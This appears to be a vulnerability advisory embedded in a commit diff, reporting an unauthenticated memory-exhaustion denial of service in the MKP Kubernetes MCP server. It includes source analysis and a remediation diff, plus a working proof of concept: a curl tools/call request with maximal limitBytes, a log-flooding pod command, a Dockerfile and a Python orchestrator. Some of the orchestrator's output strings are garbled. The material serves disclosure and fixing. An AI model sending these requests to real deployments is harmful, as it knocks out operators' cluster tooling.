+ "details": "## Unbounded Pod Log Read via Attacker-Controlled `limitBytes`/`tailLines` Causes Memory Exhaustion\n\n### Summary\n\nThe MKP (Model Context Protocol for Kubernetes) server exposes a `get_resource` MCP tool that proxies Kubernetes pod log requests. User-supplied `limitBytes` and `tailLines` parameters are parsed as unbounded `int64` values and forwarded directly to the Kubernetes API. The server then reads the entire returned log stream into an in-memory `bytes.Buffer` using `io.Copy` without any application-side size cap. A remote unauthenticated attacker can exploit this to exhaust the MKP server's memory by sending a single crafted `tools/call` request, leading to process termination (OOM kill) and denial of service. Dynamic reproduction confirmed the MKP process RSS grew from 25.8 MB to 1,179.3 MB (+1,153.4 MB) while handling one request with `limitBytes=134217728`.\n\n### Details\n\nThe vulnerability exists in `pkg/k8s/subresource.go` in the `buildPodLogOpts()` and `defaultGetPodLogs()` functions.\n\n**Source — unbounded parameter parsing (`pkg/k8s/subresource.go:171–181`):**\n\n```go\n// pkg/k8s/subresource.go\ndefaultLimitBytes := int64(32 * 1024) // 32 KB — only used when parameters map is nil\n...\nif limitBytes, ok := parameters[\"limitBytes\"]; ok {\n if b, err := strconv.ParseInt(limitBytes, 10, 64); err == nil {\n podLogOpts.LimitBytes = &b // no upper-bound check\n }\n}\nif tailLines, ok := parameters[\"tailLines\"]; ok {\n if lines, err := strconv.ParseInt(tailLines, 10, 64); err == nil {\n podLogOpts.TailLines = &lines // no upper-bound check\n }\n}\n```\n\nWhen the `parameters` map is non-nil (always true for attacker-supplied input), `buildPodLogOpts()` is called at `pkg/k8s/subresource.go:94–96` and overwrites the 32 KB default entirely. The attacker can therefore supply any positive `int64` value (up to `2147483647` or `9223372036854775807`) as `limitBytes`.\n\n**Sink — unbounded in-memory copy (`pkg/k8s/subresource.go:114–115`):**\n\n```go\nbuf := new(bytes.Buffer)\n_, err = io.Copy(buf, podLogs) // entire Kubernetes stream copied into RAM\n```\n\nThe stream from Kubernetes is read without limit into a heap-allocated `bytes.Buffer`. Subsequent JSON serialisation and MCP response wrapping create additional copies, meaning the actual RSS increase is a multiple of the raw log size (observed: ~9×).\n\n**Attack path (source → sink):**\n\n| Step | Location | Description |\n|------|----------|-------------|\n| 1 | `cmd/server/main.go:30` | Server binds to `:8080` on all interfaces; no authentication by default |\n| 2 | `pkg/mcp/server.go:131` | `NewGetResourceTool()` registered unconditionally (no `--read-write` required) |\n| 3 | `pkg/mcp/get_resource.go:28–38` | Attacker-controlled `parameters` map parsed from `CallToolRequest` |\n| 4 | `pkg/mcp/get_resource.go:76` | `client.GetResource(..., parameters)` called |\n| 5 | `pkg/k8s/subresource.go:32–33` | `resource=pods` + `subresource=logs` routes into `getPodLogs` |\n| 6 | `pkg/k8s/subresource.go:171–181` | `limitBytes` / `tailLines` parsed without upper bound (source) |\n| 7 | `pkg/k8s/subresource.go:114–115` | `io.Copy(buf, podLogs)` loads full stream into `bytes.Buffer` (sink) |\n\nThe rate limiter (`pkg/ratelimit/config.go:16–17`) caps only request frequency (120 req/min) and places no limit on per-request data volume, providing no meaningful mitigation.\n\n**Suggested remediation:**\n\n```diff\n+const (\n+ maxPodLogTailLines int64 = 1000\n+ maxPodLogLimitBytes int64 = 1024 * 1024 // 1 MB hard cap\n+)\n+\n buf := new(bytes.Buffer)\n-_, err = io.Copy(buf, podLogs)\n+limitedLogs := &io.LimitedReader{R: podLogs, N: maxPodLogLimitBytes + 1}\n+_, err = io.Copy(buf, limitedLogs)\n+if limitedLogs.N == 0 {\n+ return nil, fmt.Errorf(\"pod logs exceed maximum size of %d bytes\", maxPodLogLimitBytes)\n+}\n\n if limitBytes, ok := parameters[\"limitBytes\"]; ok {\n if b, err := strconv.ParseInt(limitBytes, 10, 64); err == nil {\n+ if b <= 0 || b > maxPodLogLimitBytes {\n+ b = maxPodLogLimitBytes\n+ }\n podLogOpts.LimitBytes = &b\n }\n }\n if tailLines, ok := parameters[\"tailLines\"]; ok {\n if lines, err := strconv.ParseInt(tailLines, 10, 64); err == nil {\n+ if lines <= 0 || lines > maxPodLogTailLines {\n+ lines = maxPodLogTailLines\n+ }\n podLogOpts.TailLines = &lines\n }\n }\n```\n\n### PoC\n\n**Prerequisites**\n\n- Docker (for self-contained reproduction)\n- A running Kubernetes cluster with a pod whose logs are large (for real-environment testing)\n- MKP server accessible on port 8080\n\n---\n\n**Option A — Self-contained Docker reproduction (Phase 2 method)**\n\nThis method uses a mock Kubernetes API that streams 128 MB of log data:\n\n```bash\n# 1. Clone the repository and enter it\ngit clone https://github.com/StacklokLabs/mkp.git\ncd mkp\n\n# 2. Build the Docker image (build context is the repo root; Dockerfile is in vuln-001/)\ndocker build -t mkp-vuln-001 -f vuln-001/Dockerfile .\n\n# 3. Run the exploit container — output includes RSS measurements\ndocker run --rm mkp-vuln-001\n```\n\nExpected output (condensed):\n\n```\nInitial RSS: 26464 kB ( 25.8 MB)\nt+01s: MKP RSS = 383080 kB ( 374.1 MB) [in-progress]\nt+02s: MKP RSS = 683876 kB ( 667.8 MB) [in-progress]\nt+03s: MKP RSS = 945008 kB ( 922.9 MB) [in-progress]\nt+06s: MKP RSS = 1207560 kB (1179.3 MB) [in-progress]\nPeak RSS: 1207572 kB (1179.3 MB)\nDelta RSS: 1181108 kB (1153.4 MB)\nVERDICT: CONFIRMED — RSS grew 1153.4 MB (limitBytes=128 MB)\n```\n\n---\n\n**Option B — Real Kubernetes environment (manual)**\n\n```bash\n# 1. Build and start MKP server (default transport: streamable-http on :8080)\ngit clone https://github.com/StacklokLabs/mkp.git && cd mkp\ntask build\n./build/mkp-server --kubeconfig=/path/to/kubeconfig\n\n# 2. Create a pod that generates large logs\nkubectl -n default run logbomb --image=busybox --restart=Never -- \\\n sh -c 'yes AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'\n\n# Wait ~30 seconds for logs to accumulate, then:\n\n# 3. Send the exploit request\ncurl -sS http://127.0.0.1:8080/mcp \\\n -H 'Content-Type: application/json' \\\n -H 'Accept: application/json, text/event-stream' \\\n --data '{\n \"jsonrpc\": \"2.0\",\n \"id\": 1,\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"get_resource\",\n \"arguments\": {\n \"resource_type\": \"namespaced\",\n \"group\": \"\",\n \"version\": \"v1\",\n \"resource\": \"pods\",\n \"namespace\": \"default\",\n \"name\": \"logbomb\",\n \"subresource\": \"logs\",\n \"parameters\": {\n \"tailLines\": \"999999999\",\n \"limitBytes\": \"2147483647\"\n }\n }\n }\n }'\n```\n\n**Expected observation:** MKP process RSS grows rapidly during request handling. With sufficiently large logs or concurrent requests, the process is OOM-killed and the MCP endpoint becomes unavailable.\n\n### Impact\n\nThis is an **unauthenticated remote Denial of Service (DoS)** vulnerability affecting any deployment of MKP server accessible over the network.\n\n**Who is impacted:**\n\n- Any operator running `mkp-server` in its default configuration (no `--read-write` flag required; `get_resource` is registered by default on `:8080` without authentication).\n- Kubernetes clusters whose namespaces contain pods with large accumulated logs (e.g., `kube-system` workloads in production clusters almost always satisfy this condition).\n- Downstream consumers of the MCP interface who rely on MKP for cluster observability; an attacker can make the entire MKP service unavailable.\n\nA single `tools/call` request is sufficient to trigger the condition. Because the rate limiter does not cap per-request data volume, even the 120 req/min limit provides no protection: one request with `limitBytes=2147483647` (~2 GB) will exhaust memory before any subsequent requests are needed.\n\nNo authentication, special privileges, or pre-existing access beyond network reachability of port 8080 is required.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# ── Stage 1: Build mkp-server ─────────────────────────────────────────────────\nFROM golang:1.25 AS builder\n\n# GOTOOLCHAIN=local prevents Go from trying to download a newer toolchain\n# matching the go 1.25.5 directive in go.mod; any Go 1.25.x is sufficient.\nENV GOTOOLCHAIN=local\nENV CGO_ENABLED=0\n\nWORKDIR /src\n\n# Copy the source tree (build con = parent of vuln-001/)\nCOPY repo/ .\n\nRUN go build -o /mkp-server ./cmd/server\n\n# ── Stage 2: Runtime ─────────────────────────────────────────────────────────\nFROM python:3.12-slim\n\nRUN apt-get update && \\\n apt-get install -y --no-install-recommends procps curl && \\\n rm -rf /var/lib/apt/lists/*\n\nCOPY --from=builder /mkp-server /usr/local/bin/mkp-server\n\nCOPY vuln-001/mock_k8s_api.py /workspace/mock_k8s_api.py\nCOPY vuln-001/kubeconfig.yaml /workspace/kubeconfig.yaml\nCOPY vuln-001/exploit.py /workspace/exploit.py\nCOPY vuln-001/entrypoint.sh /workspace/entrypoint.sh\n\nRUN chmod +x /workspace/entrypoint.sh\n\nCMD [\"/workspace/entrypoint.sh\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVULN-001 Dynamic Reproduction Orchestrator.\n\nBuild: docker build -t mkp-vuln-001 -f vuln-001/Dockerfile .\nRun : docker run --rm mkp-vuln-001\n\nEvidence criterion: MKP RSS grows by ≥ 50 MB while processing a single\ntools/call request with limitBytes=134217728 (128 MB), proving that\ndefaultGetPodLogs() performs an unbounded io.Copy into bytes.Buffer.\n\"\"\"\nimport json\nimport os\nimport re\nimport subprocess\nimport sys\nfrom pathlib import Path\n\nWORK_DIR = Path(__file__).parent.resolve()\nREPO_ROOT = WORK_DIR.parent\nIMAGE = \"mkp-vuln-001\"\nBUILD_CMD = f\"docker build -t {IMAGE} -f vuln-001/Dockerfile .\"\nRUN_CMD = f\"docker run --rm {IMAGE}\"\n\n\n# ─────────────────────────────────────────────────────────────────────────────\ndef run_streaming(cmd: str, cwd=None) -> tuple[int, str]:\n \"\"\"Run a shell command, stream its output, and return (rc, full_output).\"\"\"\n proc = subprocess.Popen(\n cmd, shell=True,\n stdout=subprocess.PIPE, stderr=subprocess.STDOUT,\n text=True, cwd=cwd,\n )\n lines = []\n for line in proc.stdout:\n print(line, end='', flush=True)\n lines.append(line)\n proc.wait()\n return proc.returncode, ''.join(lines)\n\n\ndef save_result(result: dict):\n path = WORK_DIR / 'phase2_result.json'\n with open(path, 'w', encoding='utf-8') as f:\n json.dump(result, f, ensure_ascii=False, indent=2)\n print(f\"\\n[poc] Result saved → {path}\")\n\n\ndef parse_evidence(output: str) -> dict:\n ev: dict = {}\n m = re.search(r'Initial RSS\\s*:\\s*(\\d+)', output)\n if m:\n ev['initial_kb'] = int(m.group(1))\n ev['initial_mb'] = ev['initial_kb'] / 1024\n\n m = re.search(r'Peak RSS\\s*:\\s*(\\d+)', output)\n if m:\n ev['peak_kb'] = int(m.group(1))\n ev['peak_mb'] = ev['peak_kb'] / 1024\n\n m = re.search(r'Delta RSS\\s*:\\s*(\\d+)\\s*kB\\s*\\(([0-9.]+)\\s*MB\\)', output)\n if m:\n ev['delta_kb'] = int(m.group(1))\n ev['delta_mb'] = float(m.group(2))\n elif 'peak_kb' in ev and 'initial_kb' in ev:\n ev['delta_kb'] = ev['peak_kb'] - ev['initial_kb']\n ev['delta_mb'] = ev['delta_kb'] / 1024\n\n m = re.search(r'VERDICT:\\s*(CONFIRMED|INCONCLUSIVE)[^\\n]*', output)\n if m:\n ev['verdict_line'] = m.group(0)\n\n return ev\n\n\ndef extract_evidence_block(output: str) -> str:\n \"\"\"Return the EVIDENCE SUMMARY block, or the last 3000 chars.\"\"\"\n m = re.search(r'={10,}\\nEVIDENCE SUMMARY.*?={10,}', output, re.DOTALL)\n if m:\n return m.group(0)[:3000]\n return output[-3000:]\n\n\n# ─────────────────────────────────────────────────────────────────────────────\ndef main():\n print(\"=\" * 60)\n print(\"VULN-001: Unbounded Pod Log Read — Dynamic Reproduction\")\n print(\"=\" * 60)\n\n os.chdir(REPO_ROOT)\n\n # ── Docker build ──────────────────────────────────────────────────────────\n print(f\"\\n[poc] Building Docker image…\\n[poc] {BUILD_CMD}\\n\")\n rc, build_output = run_streaming(BUILD_CMD)\n if rc != 0:\n reason = f\"Docker build failed (exit {rc}). text error: {build_output[-800:]}\"\n save_result({\n \"passed\": False,\n \"verdict\": \"FAIL\",\n \"reason\": reason,\n \"build_command\": BUILD_CMD,\n \"run_command\": RUN_CMD,\n \"poc_command\": \"python3 vuln-001/poc.py\",\n \"evidence\": build_output[-2000:],\n \"artifacts\": [\"Dockerfile\", \"poc.py\"],\n })\n print(f\"\\n[poc] FAIL: {reason}\")\n return False\n\n print(\"\\n[poc] Build OK.\")\n\n # ── Docker run ────────────────────────────────────────────────────────────\n print(f\"\\n[poc] Running exploit container…\\n[poc] {RUN_CMD}\\n\")\n rc, run_output = run_streaming(f\"{RUN_CMD} 2>&1\")\n print(f\"\\n[poc] Container exited (code={rc})\")\n\n ev = parse_evidence(run_output)\n delta_mb = ev.get('delta_mb', 0.0)\n print(f\"[poc] Parsed evidence: {ev}\")\n\n # ── Verdict ───────────────────────────────────────────────────────────────\n passed = delta_mb >= 50.0\n\n if passed:\n verdict = \"PASS\"\n init_mb = ev.get('initial_mb', 0)\n peak_mb = ev.get('peak_mb', 0)\n reason = (\n f\"MKP server RSStext {init_mb:.1f} MB → {peak_mb:.1f} MBtext {delta_mb:.1f} MB increasedone. \"\n f\"the attacker limitBytes=134217728 (128 MB)text tools/call requesttext containswhentextcharacters \"\n f\"pkg/k8s/subresource.go:114-115text io.Copy(buf, podLogs)text limit text \"\n f\"bytes.Buffertext 128 MB text streamtext beforetext text thattext dynamicas confirmed.\"\n )\n else:\n verdict = \"INCOMPLETE\"\n reason = (\n f\"RSS text {delta_mb:.1f} MB — 50 MB criteria text. \"\n f\"possibletext cause: MCP session initialization failure, 30seconds texttext timeout text exit, \"\n f\"or Mock API response textreached. container logs text 500characters: {run_output[-500:]}\"\n )\n\n result = {\n \"passed\": passed,\n \"verdict\": verdict,\n \"reason\": reason,\n \"build_command\": BUILD_CMD,\n \"run_command\": RUN_CMD,\n \"poc_command\": \"python3 vuln-001/poc.py\",\n \"evidence\": extract_evidence_block(run_output),\n \"artifacts\": [\"Dockerfile\", \"poc.py\"],\n }\n save_result(result)\n\n print(f\"\\n[poc] {'PASS' if passed else 'INCOMPLETE'}: {reason}\")\n return passed\n\n\nif __name__ == '__main__':\n ok = main()\n sys.exit(0 if ok else 1)\n```",
0 commit comments